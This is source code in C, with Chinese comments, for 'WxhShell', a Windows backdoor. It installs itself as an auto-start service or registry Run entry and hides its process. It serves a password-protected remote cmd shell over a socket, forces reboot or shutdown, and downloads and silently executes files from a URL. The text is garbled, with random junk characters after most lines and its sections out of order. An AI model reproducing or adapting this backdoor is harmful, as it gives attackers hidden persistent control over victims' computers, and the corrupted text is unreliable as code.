    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {B8W>>E  
    if(Boot(SHUTDOWN)) z-<U5-'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B/hL  
    else { N,6(|,m  
    closesocket(wsh); $\h\, N$y  
    ExitThread(0); zcnp?%  
    } ^W+q!pYM9+  
    break; t=J WD2  
    } 8T6.Zhv  
  // 获取shell bR"hl? &c  
  case 's': { p}_n :a  
    CmdShell(wsh); ~Q}JC3f>  
    closesocket(wsh); rw/WD(  
    ExitThread(0); x2/L`q"M?=  
    break; ?4vf 2n@  
  } d#6'dKV$  
  // 退出 UT!gAU  
  case 'x': { P0WI QG+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]NgK(I U  
    CloseIt(wsh); g(){wCI  
    break; |d =1|C%,  
    } o\6A]T=R  
  // 离开 f.SV-{O_  
  case 'q': { +c$]Q-(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uSh!A  
    closesocket(wsh); %5.aC|^}  
    WSACleanup(); huVw+vAA  
    exit(1); .4P5tIn\  
    break; DdJ>1504  
        } Wm!lWQu7  
  } RQiGKz5  
  } ,w&8 &wj  
zG)XB*c  
  // 提示信息 j}}:&>;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |eH >55 b  
} e%. Xya#\  
  } Hg$t,\j  
~u| k1  
  return; C":i56  
} wi]ya\(*yl  
t:y} 7un  
// shell模块句柄 `D)ay  
int CmdShell(SOCKET sock) -ZwQL="t  
{ k/[*Wz$W  
STARTUPINFO si; "#Ov!t  
ZeroMemory(&si,sizeof(si)); ]gI>ay"\QA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 49. @Uzo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1haNca_6,  
PROCESS_INFORMATION ProcessInfo; mRVE@ pc2X  
char cmdline[]="cmd"; XwWp4`Fd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d67Q@ ')00  
  return 0; ]XX9.Xh=-  
} 6~g`B<(?  
c|?0iN  
// 自身启动模式 F|.,lb |L  
int StartFromService(void) GiI|6z!  
{ @ n<y[WA  
typedef struct L,G{ t^j  
{ Ucnj7>+"  
  DWORD ExitStatus; wV\;,(<x=%  
  DWORD PebBaseAddress; a|aRUxa0"  
  DWORD AffinityMask; H{}0- 0o  
  DWORD BasePriority; f`Km ctI  
  ULONG UniqueProcessId; f44b=,Lry5  
  ULONG InheritedFromUniqueProcessId; iEd%8 F h  
}   PROCESS_BASIC_INFORMATION; Y JzKE7%CO  
M-> /vi  
PROCNTQSIP NtQueryInformationProcess; ={_.}   
ND);7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AL*P 2\8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %J)n#\  
d#~^)r  
  HANDLE             hProcess; Oa7x(wS  
  PROCESS_BASIC_INFORMATION pbi; Ut"~I)S{LT  
 -)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CZE!rpl  
  if(NULL == hInst ) return 0; v,6  
0V{a{>+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +bC-_xGuh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !=%E&e]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wkSIQL  
XP#j9CF#.  
  if (!NtQueryInformationProcess) return 0; [Y@?l]&  
+%yVW f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rHhn)m  
  if(!hProcess) return 0; ] Tc!=SV  
H"v3?g`S%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |0!oSNJ  
7)Zk:53]  
  CloseHandle(hProcess); /58]{MfrJ  
q:Lw!'Z h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N^i<A2'6S;  
if(hProcess==NULL) return 0; }~gBnq_DDU  
S0X %IG  
HMODULE hMod; s"1:#.u  
char procName[255]; "r@f&Ssxb  
unsigned long cbNeeded; BLc&q)  
GL4-v[]6I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a`SQcNBf*  
S 6e<2G=O  
  CloseHandle(hProcess); o80?B~o  
+RIG8w]  
if(strstr(procName,"services")) return 1; // 以服务启动 ziFg+i%s  
B^4D`0G[4  
  return 0; // 注册表启动 Yt^<^l77D  
} ym*,X@Qg^  
(#zSVtZ  
// 主模块 Rx';P/F0C  
int StartWxhshell(LPSTR lpCmdLine) R7'a/  
{ Vp3r  
  SOCKET wsl; |Ld/{&Qr  
BOOL val=TRUE; vfb~S~|U6g  
  int port=0; B(}u:[ b^S  
  struct sockaddr_in door; i1ph{;C  
&V. ps1  
  if(wscfg.ws_autoins) Install(); bj6-0`  
.}KY*y  
port=atoi(lpCmdLine); 8J60+2Wa  
#ma#oWqF}  
if(port<=0) port=wscfg.ws_port; +h!OdWD9  
jVh I`F{n  
  WSADATA data; {/f\lS.5g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FmU>q)  
8u+FWbOl]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UclQo~ 3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y\}39Z(]  
  door.sin_family = AF_INET; REd"}zDI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?QzA;8H  
  door.sin_port = htons(port); Z#8O)GK  
Y yI4T/0s_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b"`Vn,  
closesocket(wsl); :mwNkT2et  
return 1; qw]:oh&G  
} ,~ ;_ -  
P38D-fLq  
  if(listen(wsl,2) == INVALID_SOCKET) { JE~ci#|!  
closesocket(wsl); ?NazfK  
return 1; ts2;?`~  
} &r0b~RwUv  
  Wxhshell(wsl); ~N</;{}fL4  
  WSACleanup(); L%D:gy9o  
RS`]>K3t  
return 0;  '%! '1si  
EH;w <LvT  
} L,I5/K6  
-C9 _gZ  
// 以NT服务方式启动 a-I3#3VJ@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vq)6+n8o  
{ @S3G>i  
DWORD   status = 0; 7_$Xt)Y{  
  DWORD   specificError = 0xfffffff; H^Th]-Zl  
2LpJxV  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  ZzDE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7C7eX J9q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {~=Edf  
  serviceStatus.dwWin32ExitCode     = 0; )"j)9RQ}  
  serviceStatus.dwServiceSpecificExitCode = 0; fX)C8J^=G  
  serviceStatus.dwCheckPoint       = 0; [K2\e N~g  
  serviceStatus.dwWaitHint       = 0; k0;ND  
} Qjp,(ye  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 76i)m!  
  if (hServiceStatusHandle==0) return; Nr.maucny  
b_Us%{  
status = GetLastError(); CTu#KJ?j  
  if (status!=NO_ERROR) }F=+*-SYZ  
{ a<CN2e_Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &@E{0ZD  
    serviceStatus.dwCheckPoint       = 0; 5<-_"/_  
    serviceStatus.dwWaitHint       = 0; ]ZkhQ%  
    serviceStatus.dwWin32ExitCode     = status; j~+<~2%c  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4z~ fn9g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); INQ0h`T  
    return; l#8SlRji  
  } Y..   
;aA,H&   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZVo%ssVt  
  serviceStatus.dwCheckPoint       = 0; chjXsq#Q^  
  serviceStatus.dwWaitHint       = 0; -eKi}e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FI,>v`  
} *Vk%"rwaG  
xFZA1 8  
// 处理NT服务事件,比如:启动、停止 PCl@Ff  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Vmj7`w&  
{ % j],6wW5J  
switch(fdwControl) L%,tc~)A  
{ $+` YP  
case SERVICE_CONTROL_STOP: RhM]OJd'  
  serviceStatus.dwWin32ExitCode = 0; !mFx= +  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; imcq H  
  serviceStatus.dwCheckPoint   = 0; cU\Er{ k  
  serviceStatus.dwWaitHint     = 0; <{rRcFR  
  { t#s?:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y,O)"6ev  
  } R:+2}kS5e{  
  return; ]w!gv /;  
case SERVICE_CONTROL_PAUSE: ,fS}c pV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @WIcH:_w-  
  break; { 3=\x  
case SERVICE_CONTROL_CONTINUE: J8|F8dcz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >*ey 7g  
  break; #E`-b9Q  
case SERVICE_CONTROL_INTERROGATE: Z5aU7  
  break; A^+G w\  
}; fFD:E} >5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?haN ;n6'  
} Y40Hcc+Fx  
%x_c2  
// 标准应用程序主函数 %GUu{n<6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \VmqK&9   
{ 8D[8(5  
Jd_w:H.  
// 获取操作系统版本 h>v;1Q O9D  
OsIsNt=GetOsVer(); s^KUe%am0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HC,YmO:df"  
1 h(oty2p  
  // 从命令行安装 uWw4l"RK`  
  if(strpbrk(lpCmdLine,"iI")) Install(); Skgvnmk[U  
41luFtE9  
  // 下载执行文件 @DgJxY|  
if(wscfg.ws_downexe) { 6Q]c]cCu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a`5ODW+  
  WinExec(wscfg.ws_filenam,SW_HIDE); D`]Lm24_]  
} %OWLM  
u}u;jTi> 2  
if(!OsIsNt) { Uq/#\7/rL  
// 如果时win9x,隐藏进程并且设置为注册表启动 *ayn<Vlh`^  
HideProc(); xao'L  
StartWxhshell(lpCmdLine); \-k X-Tq  
} 2kV[A92s  
else aaq{9Y#  
  if(StartFromService()) H!U\;ny  
  // 以服务方式启动 $ JI`&  
  StartServiceCtrlDispatcher(DispatchTable); JlAUie8  
else YH33E~f  
  // 普通方式启动 0-~Y[X"9.  
  StartWxhshell(lpCmdLine); /3D!,V,  
#yZZ$XOk  
return 0; ?c)PBJ+]  
} V6l*!R  
ZN!OM)@:!  
?vL\VI9  
=G9%Hz5~:  
=========================================== a~YFJAkg9  
L-_dq0T  
0;z-I"N  
yoTbIQ  
?29zcuRaru  
@xR7>-$0p  
" )e.Y"5My  
v)@EK6Nty  
#include <stdio.h> fr S1<+  
#include <string.h> <VV./W8e9  
#include <windows.h> xq_%|p}y  
#include <winsock2.h> 0T2h3,  
#include <winsvc.h> .$b]rx7$ ~  
#include <urlmon.h> e*_8B2da  
%+oWW5q7  
#pragma comment (lib, "Ws2_32.lib") 96;17h$  
#pragma comment (lib, "urlmon.lib") xQ4D| &  
g|*2O}<  
#define MAX_USER   100 // 最大客户端连接数 QjETu  
#define BUF_SOCK   200 // sock buffer dw,Nlf~*0  
#define KEY_BUFF   255 // 输入 buffer (g,lDU[=  
v{Cts3?Br  
#define REBOOT     0   // 重启 " 6 /`  
#define SHUTDOWN   1   // 关机 %C=^ h1t%  
"sF&WuW|  
#define DEF_PORT   5000 // 监听端口 \KfngYD]W  
g~_cYy  
#define REG_LEN     16   // 注册表键长度 evf){XhT;n  
#define SVC_LEN     80   // NT服务名长度 Kx9Cx 5B  
ty]JUvR@  
// 从dll定义API \Ku=a{Ne  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bHcb+TR3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b u%p,u!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xkR--/f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "- xm+7  
r{qM!(T  
// wxhshell配置信息 SeAokz>  
struct WSCFG { uEQH6~\{Nl  
  int ws_port;         // 监听端口 Tz.!  
  char ws_passstr[REG_LEN]; // 口令 $Tu%dE(OF  
  int ws_autoins;       // 安装标记, 1=yes 0=no wVk2Fr(  
  char ws_regname[REG_LEN]; // 注册表键名 ]k Ls2? \  
  char ws_svcname[REG_LEN]; // 服务名 :$d3}TjsA+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R`ajll1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =O~1L m;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2%0z PflT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v :]y#y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7uJy<O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?RGL0`Lg  
GutH}Kz"&  
}; yA*~O$~Y  
2|F.JG^  
// default Wxhshell configuration aNb=gjLpt  
struct WSCFG wscfg={DEF_PORT, VVeO>jd  
    "xuhuanlingzhe", X5U.8qI3  
    1, L>$yslH; b  
    "Wxhshell", (8o~ XL  
    "Wxhshell", B1m@  
            "WxhShell Service", \~:Kp Kq  
    "Wrsky Windows CmdShell Service", 3:jKuOX  
    "Please Input Your Password: ", A<^IG+Q,B7  
  1, %Rv&VFg  
  "http://www.wrsky.com/wxhshell.exe", BDZB;DPb  
  "Wxhshell.exe" eKn&`\j6  
    }; %)*!(%\S*3  
W"4E0!r  
// 消息定义模块 +<6L>ZAL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E&V"z^qs_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~PaD _W#xP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'qQ 5K o  
char *msg_ws_ext="\n\rExit."; e/lfT?J\  
char *msg_ws_end="\n\rQuit."; '1;Q'-/J  
char *msg_ws_boot="\n\rReboot..."; {U(-cdU{e`  
char *msg_ws_poff="\n\rShutdown..."; r=4'6!  
char *msg_ws_down="\n\rSave to "; t/WauY2JUC  
"L.)ML  
char *msg_ws_err="\n\rErr!"; .6SdSB ^M  
char *msg_ws_ok="\n\rOK!"; 5%D:w S1  
h>= e<H?f  
char ExeFile[MAX_PATH];  bW<_K9"  
int nUser = 0; .Tt \U  
HANDLE handles[MAX_USER]; x3T)/'(  
int OsIsNt; L q8}z-?  
~R-S$qizAC  
SERVICE_STATUS       serviceStatus; Yo @>O98  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1B= vrGq  
/,$;xt-J35  
// 函数声明 gbwKT`N*  
int Install(void); DbJ:KQ!*  
int Uninstall(void); +o(t5O[G  
int DownloadFile(char *sURL, SOCKET wsh); R'qB-v.  
int Boot(int flag); _z\oDd`'  
void HideProc(void); qu BTRW9  
int GetOsVer(void); Lx,"jA/  
int Wxhshell(SOCKET wsl); NUiZ!&  
void TalkWithClient(void *cs); n )YNt  
int CmdShell(SOCKET sock); cyA|6Ltg%  
int StartFromService(void); CeS8I-,  
int StartWxhshell(LPSTR lpCmdLine); l_iucN  
7^'TU=ss_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YQ X+lE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &#v^y 3r  
A=!&2(  
// 数据结构和表定义 "C.'_H!Ex  
SERVICE_TABLE_ENTRY DispatchTable[] = xy46].x-  
{ wx -NUTRim  
{wscfg.ws_svcname, NTServiceMain}, z %{>d#rw  
{NULL, NULL} +mhYr]Z  
}; meu\jg  
OP]=MZP|  
// 自我安装 fJLlz$H  
int Install(void) (~xFd^W9o  
{ &>0=v  
  char svExeFile[MAX_PATH]; 5^cPG" 4@  
  HKEY key; 'x<gC"0A  
  strcpy(svExeFile,ExeFile); X'.}#R1  
p.TR1BHw  
// 如果是win9x系统,修改注册表设为自启动 \$ ^z.  
if(!OsIsNt) { \lCr~D5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5 g99t$p9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UoPd>q4Uj  
  RegCloseKey(key); l>h%J,W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c.6u)"@$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fF[n?:VV  
  RegCloseKey(key); |TF,Aj   
  return 0; \D?6_ ,O  
    } f}^}d"&F  
  } B<DvH"+$  
} l@Ma{*s6=5  
else { &WN4/=QW-J  
]8ua>1XS  
// 如果是NT以上系统,安装为系统服务 j+]>x]c0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _o~<f)E[9  
if (schSCManager!=0) <8Nh dCO6  
{ }|H]>U&  
  SC_HANDLE schService = CreateService (`GO@  
  ( "6^tG[G%  
  schSCManager, ,& =(DJ  
  wscfg.ws_svcname, M|?qSFv:  
  wscfg.ws_svcdisp, #!rng]p  
  SERVICE_ALL_ACCESS, j/3827jw=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AOWX=`J8V  
  SERVICE_AUTO_START, RO'MFU<g  
  SERVICE_ERROR_NORMAL, ZJsc?*@  
  svExeFile, 4pV.R5:  
  NULL, @!'Pr$`  
  NULL, c_}i(HQ  
  NULL, 5!}xl9D  
  NULL, :y!e6  
  NULL 8wwqV{O7  
  ); Yfk[mo  
  if (schService!=0) !cE>L~cza  
  { kLR4?tX!  
  CloseServiceHandle(schService); m46Q%hwV  
  CloseServiceHandle(schSCManager); .a:"B\B`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \E9Z H3;  
  strcat(svExeFile,wscfg.ws_svcname); Zw| IY9D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6(sqS~D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yU\&\fD>j  
  RegCloseKey(key); \MsAdYR  
  return 0; .oH0yNFX  
    } u@}((V  
  } %*e6@Hm  
  CloseServiceHandle(schSCManager); ?,%vndI  
} )s,L:{<  
} !~04^(  
p&B98c  
return 1; *rSMD_>  
} :g2?)Er-  
uT8/xNB!  
// 自我卸载 OZ&J'Y  
int Uninstall(void) -LzHCO/7(  
{ %Z 9<La  
  HKEY key; !e&ZhtTuC  
`Q1S8i$  
if(!OsIsNt) { ;{ XKZ}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A`Z!=og=  
  RegDeleteValue(key,wscfg.ws_regname); ]7O)iq%  
  RegCloseKey(key); ^)rX27!G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <?&GBCe  
  RegDeleteValue(key,wscfg.ws_regname); Tc,Bv7:  
  RegCloseKey(key); ;i^p6b j  
  return 0; T.<er iv  
  } 49nZWv48"_  
} gZ%B9i:  
} kwMuL>5  
else { yTz@q>6s-  
} Ga@bY6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \o?zL7  
if (schSCManager!=0) -dsB@nPiUw  
{ 2WIL0Siwl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pr{?A]dQ  
  if (schService!=0) xYc)iH6&  
  { -6;0 x  
  if(DeleteService(schService)!=0) { Z}T<^  F  
  CloseServiceHandle(schService); -. L)-%wIV  
  CloseServiceHandle(schSCManager); [^A.$,  
  return 0; Jn +[:s.  
  } ^ox^gw)  
  CloseServiceHandle(schService); nj!)\U  
  } ~7Kqc\/H&I  
  CloseServiceHandle(schSCManager); r*N:-I~z  
} hc5M)0d  
} &}nU#)IX  
\OHsCG27  
return 1; i^ G/)bq  
} ; @ h{-@  
-?!|W-}@G=  
// 从指定url下载文件 00Tm0rY  
int DownloadFile(char *sURL, SOCKET wsh) sD1L P  
{ ;y%lOYm  
  HRESULT hr; F_/]9tz?;  
char seps[]= "/"; Z 7t0=U  
char *token; mAhtC*  
char *file; 7fLLV2  
char myURL[MAX_PATH]; C.C)&&|X  
char myFILE[MAX_PATH]; H4 Ca+;  
>^Klq`"?g=  
strcpy(myURL,sURL); 5znLpBX<N  
  token=strtok(myURL,seps); }e6Ta_Z~  
  while(token!=NULL) n <6}  
  { $7a| 9s0  
    file=token; ::g"dRS<v  
  token=strtok(NULL,seps); `~WxMY0M  
  } 8Z4d<DIJ  
8JAA?0L"'  
GetCurrentDirectory(MAX_PATH,myFILE); $^.LZ1Jd  
strcat(myFILE, "\\"); d;|e7$F'  
strcat(myFILE, file); 8X!UtHml  
  send(wsh,myFILE,strlen(myFILE),0); /wK5YN.em  
send(wsh,"...",3,0); [`_&d7{-4b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6`]R)i]  
  if(hr==S_OK) /,"Z^=  
return 0; KwN o/x| v  
else ?cG+rC%  
return 1; r42[pi]F  
Dw%>y93V  
} f_Y[I :  
n&i WYECz  
// 系统电源模块 P!,\V\TY]  
int Boot(int flag) *DLv$/(0  
{ p>Ju)o  
  HANDLE hToken; l,1}1{k&  
  TOKEN_PRIVILEGES tkp; <]b}R;9v  
j?jEWreq]~  
  if(OsIsNt) { ?g}n$%*5y!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >MUwT$szs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); : :uD%a zd  
    tkp.PrivilegeCount = 1;  @es}bKP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /"- k ;jz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $|C%G6!s?@  
if(flag==REBOOT) { yUq,9.6Ig  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5{zXh  
  return 0; q#pBlJ.LK  
} Tg&{ P{$  
else { yv 9~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7$z")JB  
  return 0; n4 KiC!*i0  
} -WB? hmx  
  } QBR9BR  
  else { G-G!c2o  
if(flag==REBOOT) { Z_iu^ Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #-'=)l}i1A  
  return 0; i 6kW"5t  
} iVd*62$@$  
else { MnO,Cd6{%d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +o?.<[>!GR  
  return 0; h.%VWsAO7  
} @\i6m]\X  
} RI:x`do  
VD,F?L!  
return 1; 6.6~w\fR8  
} si/F\NDT   
T73oW/.0X?  
// win9x进程隐藏模块 r%xp^j}  
void HideProc(void) h76#HUBr!  
{ f/Grem  
NO +j    
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Uey.@2Q  
  if ( hKernel != NULL ) W:3u$LTf*f  
  { b5_A*-s$M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4adCMfP7.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *wwLhweQ5W  
    FreeLibrary(hKernel); '<!/\Jz9l  
  } V8NJ0fF  
-vGyEd7  
return; +AZ=nMgW  
} J@"Pv~R  
dg4"4\c*P  
// 获取操作系统版本 EQyRP. dq  
int GetOsVer(void) u%V =Ze  
{ NSOWn]E  
  OSVERSIONINFO winfo; KA`1IW;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dY~3 YD[  
  GetVersionEx(&winfo); ba% [!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L:`|lc=^  
  return 1; U# -&%|b$  
  else ~1S7\e7{  
  return 0; itm;,Sbg  
} `kwyF27v]  
*na7/ysT<  
// 客户端句柄模块 mppBc-#EYr  
int Wxhshell(SOCKET wsl) Ufv{6"sH  
{ ";`ddN3  
  SOCKET wsh; Q~,E K  
  struct sockaddr_in client; ^Xt9AM]e  
  DWORD myID; 7_S+/2}U*  
5BS-q"  
  while(nUser<MAX_USER) <.l5>mgkCw  
{ +=$\7z>s  
  int nSize=sizeof(client);  .#zx[Io  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %;yo\  
  if(wsh==INVALID_SOCKET) return 1; v%/8pmZw;  
jn^i4f>N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q&MZ/Nnf  
if(handles[nUser]==0) U @|{RP  
  closesocket(wsh); 8hQ"rrj+  
else XZV)4=5iSO  
  nUser++; /_*:  
  } q .tVNKy%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E5jK}1t4V  
VDPqI+z  
  return 0; %saTyF,  
} ? Q.Y  
CLQ\Is^]  
// 关闭 socket zO2<Igb  
void CloseIt(SOCKET wsh) ;1NZY.pyc  
{ ppR_y  
closesocket(wsh); ?b#/*T}ac  
nUser--; Wxjk}&+pVa  
ExitThread(0); &m'O :ZS2  
} vD:.1,72  
YCh!D dy  
// 客户端请求句柄 bLCrh(<  
void TalkWithClient(void *cs) ~SV;"e2N.  
{  *X*D, VY  
i/C#fIB2  
  SOCKET wsh=(SOCKET)cs; O~">-'f  
  char pwd[SVC_LEN]; t82Bp[t  
  char cmd[KEY_BUFF]; IhM-a Y y5  
char chr[1]; CS50wY  
int i,j; S&_ZQLiQ$  
_]j=[|q 9  
  while (nUser < MAX_USER) { bp_3ETK]P  
$ n  n4  
if(wscfg.ws_passstr) { Vn];vN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); </bWFW~x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~ZG>n{Q   
  //ZeroMemory(pwd,KEY_BUFF); K._1sOw'"Y  
      i=0; ,{J2i#g<  
  while(i<SVC_LEN) { _=U XNr8S  
SK;f#quUQ  
  // 设置超时 @faf  
  fd_set FdRead; m(B6FPjr  
  struct timeval TimeOut; L nw+o}  
  FD_ZERO(&FdRead); D Sd 5?  
  FD_SET(wsh,&FdRead); 5w}xjOYIjV  
  TimeOut.tv_sec=8; -|J?-  
  TimeOut.tv_usec=0; :eHh }  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xqP0Z) ,Ow  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BAzc'x&<  
Gg5vf]VFo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); " 8;D^  
  pwd=chr[0]; /Klwh1E  
  if(chr[0]==0xd || chr[0]==0xa) { js;IUSj.  
  pwd=0; lDMYDy{<  
  break; 8'^eH1d'  
  } ~+l%}4RZ  
  i++; _[0Ugfz (  
    }  vFl|  
_32ltnBX  
  // 如果是非法用户,关闭 socket !Z%QD\knY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @m6pAo4P  
} CtjjN=59  
qpp:h_E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '? yZ,t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;1(OC-2>d  
fQOaTsyA  
while(1) { m6lNZb]  
JC>}(yQA  
  ZeroMemory(cmd,KEY_BUFF); 1;? L:A  
'v6Rd )E\z  
      // 自动支持客户端 telnet标准   r)+dK }xl  
  j=0; E+E5`-V  
  while(j<KEY_BUFF) { s Uj#:X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f8[2$i*cL  
  cmd[j]=chr[0]; Plm3vk=  
  if(chr[0]==0xa || chr[0]==0xd) { |7|mnOBdDf  
  cmd[j]=0; %*eZoLD g]  
  break; dN\pe@#lKP  
  } $PrzJc  
  j++; hH@018+  
    } 2"BlV *\lS  
yv$MQ~]  
  // 下载文件 Hsp|<;Yg  
  if(strstr(cmd,"http://")) { $?*+P``  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jLb3{}0  
  if(DownloadFile(cmd,wsh)) >z[d ~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2GZUMXK  
